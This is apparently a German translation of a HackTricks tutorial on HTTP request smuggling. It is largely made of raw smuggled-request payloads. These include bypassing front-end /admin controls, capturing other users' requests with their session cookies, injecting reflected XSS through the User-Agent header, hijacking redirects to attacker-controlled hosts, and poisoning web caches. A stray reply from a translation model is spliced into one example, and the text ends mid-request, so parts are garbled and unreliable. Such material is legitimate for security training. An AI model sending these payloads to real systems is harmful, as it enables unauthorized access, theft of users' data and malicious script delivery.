HTTP Request Smuggling / HTTP Desync Attack
Reading time: 32 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist
Diese Schwachstelle tritt auf, wenn eine Desynchronisation zwischen Front-End-Proxies und dem Back-End-Server es einem Angreifer erlaubt, eine HTTP Request zu senden, die von den Front-End-Proxies (Load Balancer / Reverse-Proxy) als eine einzelne Request und vom Back-End-Server als 2 Requests interpretiert wird.
Dies ermöglicht einem Benutzer, die nächste Request, die am Back-End-Server ankommt, nach seiner eigenen zu verändern.
Theorie
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Realität
Das Front-End (ein Load-Balancer / Reverse Proxy) verarbeitet den Content-Length- oder den Transfer-Encoding-Header und der Back-End-Server verarbeitet den anderen, wodurch eine Desynchronisation zwischen den beiden Systemen entsteht.
Das kann sehr kritisch sein, da ein Angreifer eine einzelne Request an den Reverse-Proxy senden kann, die vom Back-End-Server als 2 verschiedene Requests interpretiert wird. Die Gefahr dieser Technik liegt darin, dass der Back-End-Server die eingeschleuste 2. Request so interpretiert, als käme sie vom nächsten Client, und die echte Request dieses Clients Teil der eingeschleusten Request wird.
Besonderheiten
Denke daran, dass im HTTP-Protokoll ein Zeilenumbruch aus 2 Bytes besteht:
- Content-Length: Dieser Header verwendet eine dezimale Zahl, um die Anzahl der Bytes des Bodys der Request anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, ein Zeilenumbruch am Ende der Request ist nicht nötig.
- Transfer-Encoding: Dieser Header verwendet im Body eine hexadezimale Zahl, um die Anzahl der Bytes des nächsten Chunks anzugeben. Das Chunk muss mit einem Zeilenumbruch enden, aber dieser Zeilenumbruch wird nicht in der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem Chunk der Größe 0 gefolgt von 2 Zeilenumbrüchen enden:
0
- Connection: Nach meiner Erfahrung wird empfohlen, bei der ersten Request des Request Smuggling
Connection: keep-alive
zu verwenden.
Basic Examples
tip
Wenn du versuchst, das mit Burp Suite auszunutzen, deaktiviere im Repeater Update Content-Length
und Normalize HTTP/1 line endings
, weil einige Gadgets Newlines, Carriage Returns und malformed Content-Lengths ausnutzen.
HTTP request smuggling attacks werden durch das Senden ambiger Requests erzeugt, die Diskrepanzen in der Interpretation der Content-Length
(CL) und Transfer-Encoding
(TE) Header zwischen Front-End- und Back-End-Servern ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als CL.TE, TE.CL und TE.TE. Jeder Typ repräsentiert eine einzigartige Kombination davon, wie Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen dadurch, dass die Server dieselbe Request unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
Basic Examples of Vulnerability Types
tip
Zur vorherigen Tabelle sollte man die TE.0-Technik hinzufügen, ähnlich der CL.0-Technik, aber mit Transfer-Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Verarbeitet die Request basierend auf dem
Content-Length
-Header. -
Back-End (TE): Verarbeitet die Request basierend auf dem
Transfer-Encoding
-Header. -
Angriffs-Szenario:
-
Der Angreifer sendet eine Request, bei der der Wert des
Content-Length
-Headers nicht mit der tatsächlichen Content-Länge übereinstimmt. -
Der Front-End-Server leitet die gesamte Request entsprechend dem
Content-Length
-Wert an das Back-End weiter. -
Der Back-End-Server verarbeitet die Request als chunked aufgrund des Headers
Transfer-Encoding: chunked
und interpretiert die verbleibenden Daten als eine separate, nachfolgende Request. -
Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Verarbeitet die Request basierend auf dem
Transfer-Encoding
-Header. -
Back-End (CL): Verarbeitet die Request basierend auf dem
Content-Length
-Header. -
Angriffs-Szenario:
-
Der Angreifer sendet eine chunked Request, bei der die Chunk-Größe (
7b
) und die tatsächliche Content-Länge (Content-Length: 4
) nicht übereinstimmen. -
Der Front-End-Server, der
Transfer-Encoding
beachtet, leitet die gesamte Request an das Back-End weiter. -
Der Back-End-Server, der
Content-Length
respektiert, verarbeitet nur den initialen Teil der Request (7b
Bytes), wodurch der Rest als Teil einer unbeabsichtigten nachfolgenden Request übrig bleibt. -
Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Server: Beide unterstützen
Transfer-Encoding
, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren. -
Angriffs-Szenario:
-
Der Angreifer sendet eine Request mit obfuskierten
Transfer-Encoding
-Headern. -
Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
-
Der nicht verarbeitete Teil der Request, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Request und führt so zum Smuggling.
-
Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Szenario (Content-Length used by both Front-End and Back-End)
- Beide Server verarbeiten die Request ausschließlich basierend auf dem
Content-Length
-Header. - Dieses Szenario führt typischerweise nicht zu Smuggling, da Übereinstimmung darin besteht, wie beide Server die Request-Länge interpretieren.
- Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Szenario
- Bezieht sich auf Szenarien, in denen der
Content-Length
-Header vorhanden ist und einen Wert ungleich null hat, was anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert denContent-Length
-Header (der als 0 behandelt wird), aber das Front-End parst ihn. - Das ist wichtig zum Verständnis und zur Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Request bestimmen.
- Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Szenario
- Wie das vorherige, aber mit TE
- Technique reported here
- Beispiel:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Den Webserver zum Absturz bringen
Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, einen Webserver beim Lesen der initialen HTTP-Daten zu brechen, aber ohne die Verbindung zu schließen. Auf diese Weise wird der body der HTTP request als die nächste HTTP request betrachtet.
Zum Beispiel, wie in this writeup erklärt, war es in Werkzeug möglich, einige Unicode-Zeichen zu senden, wodurch der Server abstürzen konnte. Wenn die HTTP connection jedoch mit dem Header Connection: keep-alive
aufgebaut wurde, würde der body der request nicht gelesen und die Verbindung bliebe offen, sodass der body der request als die nächste HTTP request behandelt würde.
Erzwingen über hop-by-hop headers
Indem man hop-by-hop headers missbraucht, könnte man dem Proxy signalisieren, den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP request smuggling ausgenutzt werden kann.
Connection: Content-Length
Für mehr Informationen über hop-by-hop headers siehe:
Aufspüren von HTTP Request Smuggling
Die Identifizierung von HTTP request smuggling-Schwachstellen kann oft mithilfe von Timing-Techniken erfolgen, die darauf beruhen, zu beobachten, wie lange der Server für die Antwort auf manipulierte Requests benötigt. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, mit denen solche Schwachstellen gefunden werden können:
Auffinden von CL.TE-Schwachstellen mit Timing-Techniken
-
Methode:
-
Sende einen Request, der — falls die Anwendung verwundbar ist — dazu führt, dass der Back-end-Server auf zusätzliche Daten wartet.
-
Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Beobachtung:
-
Der Front-end-Server verarbeitet die Anfrage basierend auf
Content-Length
und beendet die Nachricht vorzeitig. -
Der Back-end-Server, der eine chunked-Nachricht erwartet, wartet auf das nächste Chunk, das nie eintrifft, was zu einer Verzögerung führt.
-
Indikatoren:
-
Timeouts oder lange Verzögerungen in der Antwort.
-
Empfang eines 400 Bad Request-Fehlers vom Back-end-Server, manchmal mit detaillierten Serverinformationen.
Auffinden von TE.CL-Schwachstellen mit Timing-Techniken
-
Methode:
-
Sende einen Request, der — falls die Anwendung verwundbar ist — dazu führt, dass der Back-end-Server auf zusätzliche Daten wartet.
-
Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Beobachtung:
- Der Front-end-Server verarbeitet die Anfrage basierend auf
Transfer-Encoding
und leitet die gesamte Nachricht weiter. - Der Back-end-Server, der eine Nachricht basierend auf
Content-Length
erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was zu einer Verzögerung führt.
Weitere Methoden zum Auffinden von Schwachstellen
- Differenzielle Antwortanalyse:
- Sende leicht veränderte Versionen einer Anfrage und beobachte, ob die Serverantworten unerwartet unterschiedlich ausfallen, was auf eine Parsing-Diskrepanz hinweist.
- Einsatz automatisierter Tools:
- Tools wie Burp Suite's 'HTTP Request Smuggler' extension können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen ambiger Requests senden und die Antworten analysieren.
- Tests mit variierendem Content-Length:
- Sende Requests mit unterschiedlichen
Content-Length
-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der Server mit solchen Abweichungen umgeht. - Tests mit variiertem Transfer-Encoding:
- Sende Requests mit obfuskierten oder fehlerhaften
Transfer-Encoding
-Headern und überwache, wie unterschiedlich Front-end- und Back-end-Server auf solche Manipulationen reagieren.
HTTP Request Smuggling Schwachstellen-Tests
Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es wichtig zu prüfen, ob Client-Requests manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, deine Requests zu vergiften, z. B. so dass ein Request an /
eine 404-Antwort erzeugt. Die CL.TE- und TE.CL-Beispiele, die zuvor in Basic Examples diskutiert wurden, zeigen, wie man einen Client-Request vergiften kann, sodass eine 404-Antwort zurückkommt, obwohl der Client auf eine andere Ressource zugreifen wollte.
Wichtige Überlegungen
Beim Testen auf request smuggling-Schwachstellen durch Eingreifen in andere Requests beachte:
- Getrennte Netzwerkverbindungen: Die „attack“- und „normal“-Requests sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert nicht das Vorhandensein der Schwachstelle.
- Konsistente URL und Parameter: Versuche, für beide Requests identische URLs und Parameternamen zu verwenden. Moderne Anwendungen routen Requests oft basierend auf URL und Parametern zu bestimmten Back-end-Servern. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Requests vom selben Server verarbeitet werden — eine Voraussetzung für einen erfolgreichen Angriff.
- Timing und Race-Bedingungen: Der „normale“ Request, der dazu dient, eine Beeinflussung durch den „attack“-Request zu erkennen, konkurriert mit anderen gleichzeitigen Anfragen der Anwendung. Sende den „normalen“ Request daher unmittelbar nach dem „attack“-Request. Bei stark ausgelasteten Anwendungen sind möglicherweise mehrere Versuche nötig, um die Verwundbarkeit zweifelsfrei zu bestätigen.
- Load-Balancing-Herausforderungen: Front-end-Server, die als Load Balancer fungieren, können Requests auf unterschiedliche Back-end-Systeme verteilen. Wenn der „attack“- und der „normale“-Request auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Aspekt des Load Balancing kann mehrere Versuche erfordern, um eine Verwundbarkeit zu bestätigen.
- Unbeabsichtigte Auswirkungen auf andere Benutzer: Wenn dein Angriff versehentlich die Anfrage eines anderen Benutzers (nicht den von dir gesendeten „normalen“ Request) beeinflusst, zeigt das, dass dein Angriff eine andere Anwendungssitzung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören; handle daher vorsichtig.
HTTP/1.1-Pipelining-Artefakte von echtem request smuggling unterscheiden
Connection reuse (keep-alive) und pipelining können in Test-Tools, die mehrere Requests über dieselbe Socket-Verbindung senden, leicht den Eindruck von „smuggling“ erzeugen. Lerne, harmlose clientseitige Artefakte von echten serverseitigen Desynchronisationen zu unterscheiden.
Warum Pipelining klassische False Positives erzeugt
HTTP/1.1 verwendet eine einzige TCP/TLS-Verbindung und fügt Requests und Responses in denselben Stream ein. Beim Pipelining sendet der Client mehrere Requests hintereinander und erwartet Antworten in der gleichen Reihenfolge. Ein häufiger False Positive entsteht, wenn man ein fehlerhaftes CL.0-artiges Payload zweimal über dieselbe Verbindung abschickt:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein. Ich werde den relevanten englischen Text ins Deutsche übersetzen und dabei Markdown/HTML-Tags, Links, Pfade, Code und spezielle Begriffe unverändert lassen, wie du angefordert hast.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Wenn der Server das fehlerhafte Content_Length
ignorierte, gibt es keine FE↔BE desync. Bei Reuse hat Ihr Client tatsächlich diesen byte-stream gesendet, den der Server als zwei unabhängige requests geparst hat:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Auswirkung: keine. Du hast nur deinen Client vom Server‑Framing desynced.
tip
Burp-Module, die von reuse/pipelining abhängen: Turbo Intruder mit requestsPerConnection>1
, Intruder mit "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" oder "Enable connection reuse".
Litmus-Tests: pipelining oder echte desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater: HTTP/1 reuse ausschalten und "Send group in sequence" vermeiden.
- In Turbo Intruder
requestsPerConnection=1
undpipeline=False
setzen. - Wenn das Verhalten verschwindet, war es wahrscheinlich client-side pipelining, es sei denn, du hast es mit connection-locked/stateful Targets oder client-side desync zu tun.
- HTTP/2 nested-response check
- Sende eine HTTP/2-Anfrage. Wenn der Response-Body eine vollständige verschachtelte HTTP/1-Antwort enthält, hast du einen Backend-Parsing-/desync-Bug bewiesen statt eines reinen Client-Artefakts.
- Partial-requests probe for connection-locked front-ends
- Einige FEs reusen die upstream BE-Verbindung nur, wenn der Client seine wiederverwendet hat. Verwende partial-requests, um FE-Verhalten zu erkennen, das das Client-Reuse spiegelt.
- Siehe PortSwigger "Browser‑Powered Desync Attacks" für die connection-locked Technik.
- State probes
- Suche nach Unterschieden zwischen der ersten und nachfolgenden Anfrage auf derselben TCP-Verbindung (first-request routing/validation).
- Burp "HTTP Request Smuggler" enthält eine connection‑state probe, die das automatisiert.
- Visualize the wire
- Verwende die Burp-Erweiterung "HTTP Hacker", um Konkatenation und Message-Framing direkt zu inspizieren, während du mit Reuse und partial requests experimentierst.
Connection‑locked request smuggling (reuse-required)
Einige Front‑Ends (FEs) nutzen die upstream-Verbindung nur wieder, wenn der Client seine wiederverwendet. Echtes smuggling existiert, ist aber abhängig vom client-side reuse. Um zu unterscheiden und den Impact nachzuweisen:
- Beweise den server-side Bug
- Nutze den HTTP/2 nested-response check, oder
- Verwende partial-requests, um zu zeigen, dass das FE upstream nur dann wiederverwendet, wenn der Client es tut.
- Zeige echten Impact, auch wenn direkter cross-user socket Missbrauch blockiert ist:
- Cache poisoning: gemeinsame Caches via desync vergiften, sodass Responses andere Nutzer betreffen.
- Internal header disclosure: FE-injizierte Header (z. B. auth/trust headers) spiegeln und zu auth bypass pivotieren.
- Bypass FE controls: eingeschränkte Pfade/Methoden am Front‑End vorbeischmuggeln.
- Host-header abuse: mit Host-Routing-Quirks kombinieren, um auf interne vhosts zu pivotieren.
- Operator workflow
- Reproduziere mit kontrolliertem Reuse (Turbo Intruder
requestsPerConnection=2
, oder Burp Repeater tab group → "Send group in sequence (single connection)"). - Dann kette zu cache/header-leak/control-bypass primitives und demonstriere Cross‑User- oder authorization-Impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
Wenn du browser-powered/client-side desync ins Visier nimmst, muss die bösartige Anfrage von einem Browser cross-origin sendbar sein. Header-obfuscation-Tricks funktionieren nicht. Konzentriere dich auf Primitives, die via navigation/fetch erreichbar sind, und pivotiere dann zu cache poisoning, header disclosure oder Front‑End‑Control-Bypass, wo nachgelagerte Komponenten Responses reflektieren oder cachen.
Für Hintergrund und End-to-End-Workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): zeigt low-level HTTP-Verhalten und Socket-Konkatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: präzise Kontrolle über connection reuse via
requestsPerConnection
. - Burp HTTP Request Smuggler: enthält eine connection‑state probe, um first‑request routing/validation zu erkennen.
note
Behandle reuse-only Effekte als unproblematisch, es sei denn, du kannst server-side desync nachweisen und einen konkreten Impact beifügen (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Missbrauch von HTTP Request Smuggling
Umgehung von Front‑End‑Sicherheit mittels HTTP Request Smuggling
Manchmal erzwingen Front‑End‑Proxies Sicherheitsmaßnahmen und prüfen eingehende Requests genau. Diese Maßnahmen können jedoch durch Ausnutzung von HTTP Request Smuggling umgangen werden, was unautorisierten Zugriff auf geschützte Endpunkte erlaubt. Zum Beispiel kann der Zugriff auf /admin
extern verboten sein, wobei das Front‑End‑Proxy solche Versuche aktiv blockiert. Dennoch kann dieses Proxy es versäumen, eingebettete Requests innerhalb einer geschmuggelten HTTP-Anfrage zu inspizieren, wodurch eine Lücke zum Umgehen dieser Beschränkungen entsteht.
Betrachte die folgenden Beispiele, die zeigen, wie HTTP Request Smuggling verwendet werden kann, um Front‑End‑Sicherheitskontrollen zu umgehen, insbesondere mit dem Zielpfad /admin
, der typischerweise vom Front‑End‑Proxy geschützt wird:
CL.TE Beispiel
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
In the CL.TE attack wird der Content-Length
Header für die initiale Anfrage ausgenutzt, während die anschließende eingebettete Anfrage den Transfer-Encoding: chunked
Header verwendet. Der front-end proxy verarbeitet die initiale POST
Anfrage, prüft jedoch nicht die eingebettete GET /admin
Anfrage, wodurch unautorisierter Zugriff auf den Pfad /admin
möglich wird.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Umgekehrt verwendet beim TE.CL-Angriff die initiale POST
-Anfrage Transfer-Encoding: chunked
, und die nachfolgende eingebettete Anfrage wird anhand des Content-Length
-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte GET /admin
-Anfrage und gewährt dadurch unbeabsichtigt Zugriff auf den geschützten Pfad /admin
.
Aufdecken der Front-End-Anfrageumschreibung
Anwendungen setzen häufig einen Front-End-Server ein, um eingehende Anfragen zu verändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie etwa X-Forwarded-For: <IP of the client>
, um die IP des Clients an das Back-End weiterzugeben. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken kann, Schutzmechanismen zu umgehen oder versteckte Informationen oder Endpunkte zu offenbaren.
Um zu untersuchen, wie ein Proxy eine Anfrage verändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der Sie diesen Parameter zuletzt verwenden, ähnlich der folgenden:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
In dieser Struktur werden nachfolgende request-Komponenten an search=
angehängt, welcher Parameter in der response reflektiert wird. Diese Reflektion wird die headers der nachfolgenden request offenlegen.
Es ist wichtig, den Content-Length
header der verschachtelten request mit der tatsächlichen Inhaltslänge abzugleichen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert die request fehlschlagen lassen kann.
Diese Technik ist auch im Kontext einer TE.CL vulnerability anwendbar, aber die request sollte mit search=\r\n0
terminiert werden. Unabhängig von den Newline-Zeichen werden die Werte an das search-Parameter angehängt.
Diese Methode dient hauptsächlich dazu, die von dem front-end proxy vorgenommenen request-Änderungen zu verstehen und damit im Grunde eine selbstgeleitete Untersuchung durchzuführen.
Capturing other users' requests
Es ist möglich, die requests des nächsten Benutzers zu erfassen, indem man während eines POSTs eine bestimmte request als Wert eines Parameters anhängt. So kann das erreicht werden:
Indem man die folgende request als Wert eines Parameters anhängt, kann man die anschließende client request speichern:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
In diesem Szenario ist der Kommentar-Parameter dafür vorgesehen, den Inhalt des Kommentarbereichs eines Posts auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der anschließenden Anfrage als Kommentar.
Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parametertrennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübermittlungen ist dieses Trennzeichen das Zeichen &
. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des betroffenen Nutzers am ersten &
endet, das sogar Teil des Query-Strings sein kann.
Außerdem ist erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle funktioniert. In solchen Fällen sollte die Anfrage mit search=\r\n0
enden. Unabhängig von Newline-Zeichen werden die Werte an den search-Parameter angehängt.
Verwendung von HTTP request smuggling zum Ausnutzen von Reflected XSS
HTTP Request Smuggling kann eingesetzt werden, um Webseiten mit einer Verwundbarkeit gegenüber Reflected XSS auszunutzen. Das bietet bedeutende Vorteile:
- Eine Interaktion mit den Zielnutzern ist nicht erforderlich.
- Ermöglicht die Ausnutzung von XSS in Teilen der Anfrage, die normalerweise nicht zugänglich sind, wie z. B. HTTP request headers.
In Szenarien, in denen eine Website gegenüber Reflected XSS über den User-Agent header verwundbar ist, zeigt das folgende payload, wie diese Schwachstelle ausgenutzt werden kann:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload ist so strukturiert, dass es die Verwundbarkeit ausnutzt durch:
- Initiieren eines
POST
Requests, scheinbar typisch, mit dem HeaderTransfer-Encoding: chunked
, um den Beginn des Smuggling anzuzeigen. - Gefolgt von einem
0
, das das Ende des chunked Message-Bodys markiert. - Danach wird ein eingeschmuggelter
GET
Request eingeführt, bei dem derUser-Agent
-Header mit einem Skript injiziert wird,<script>alert(1)</script>
, welches das XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.
Durch die Manipulation des User-Agent
mittels Smuggling umgeht das payload normale Anfragebeschränkungen und nutzt so die Reflected XSS Vulnerability auf eine nicht-standardmäßige, aber effektive Weise.
HTTP/0.9
caution
Falls der Nutzerinhalt in einer Antwort mit einem Content-type
wie text/plain
reflektiert wird, verhindert das die Ausführung des XSS. Unterstützt der Server jedoch HTTP/0.9, könnte es möglich sein, dies zu umgehen!
Die Version HTTP/0.9 erschien vor 1.0 und verwendet nur GET-Verben und antwortet nicht mit Headers, sondern nur mit dem Body.
In this writeup wurde dies mittels request smuggling und einem verwundbaren Endpoint ausgenutzt, der die Eingabe des Nutzers zurückgibt, um eine Anfrage mit HTTP/0.9 einzuschmuggeln. Der in der Antwort reflektierte Parameter enthielt eine fake HTTP/1.1 response (with headers and body), sodass die Antwort gültigen ausführbaren JS-Code mit einem Content-Type
von text/html
enthält.
Ausnutzen von On-site-Redirects mit HTTP Request Smuggling
Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem Host
-Header in der Redirect-URL verwenden. Das ist üblich bei Webservern wie Apache und IIS. Zum Beispiel führt das Anfordern eines Ordners ohne abschließenden Slash zu einer Weiterleitung, die den Slash hinzufügt:
GET /home HTTP/1.1
Host: normal-website.com
Ergibt:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Obwohl es harmlos erscheint, kann dieses Verhalten mit HTTP request smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine vom Angreifer kontrollierte Website umgeleitet wird:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Ergibt:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei entführt. Der Angreifer kann den Benutzer potenziell kompromittieren, indem er als Antwort bösartigen JavaScript-Code ausliefert.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning kann ausgeführt werden, wenn irgendeine Komponente der Frontend-Infrastruktur Inhalte zwischenspeichert, typischerweise zur Leistungsverbesserung. Durch Manipulation der Serverantwort ist es möglich, poison the cache.
Zuvor haben wir gesehen, wie Serverantworten so verändert werden können, dass ein 404 error zurückgegeben wird (siehe Basic Examples). Ebenso ist es möglich, den Server dazu zu bringen, den Inhalt von /index.html
als Antwort auf eine Anfrage nach /static/include.js
auszuliefern. Infolgedessen wird der Inhalt von /static/include.js
im Cache durch den von /index.html
ersetzt, womit /static/include.js
für Benutzer unzugänglich wird und dies möglicherweise zu einem Denial of Service (DoS) führt.
Diese Technik wird besonders wirkungsvoll, wenn eine Open Redirect vulnerability entdeckt wird oder wenn es einen on-site redirect to an open redirect gibt. Solche Schwachstellen können ausgenutzt werden, um den gecachten Inhalt von /static/include.js
durch ein vom Angreifer kontrolliertes Script zu ersetzen und damit einen großflächigen Cross-Site Scripting (XSS)-Angriff gegen alle Clients zu ermöglichen, die das aktualisierte /static/include.js
anfordern.
Im Folgenden eine Darstellung der Ausnutzung von cache poisoning combined with an on-site redirect to open redirect. Ziel ist es, den Cache-Inhalt von /static/include.js
so zu ändern, dass JavaScript-Code ausgeliefert wird, der vom Angreifer kontrolliert wird:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
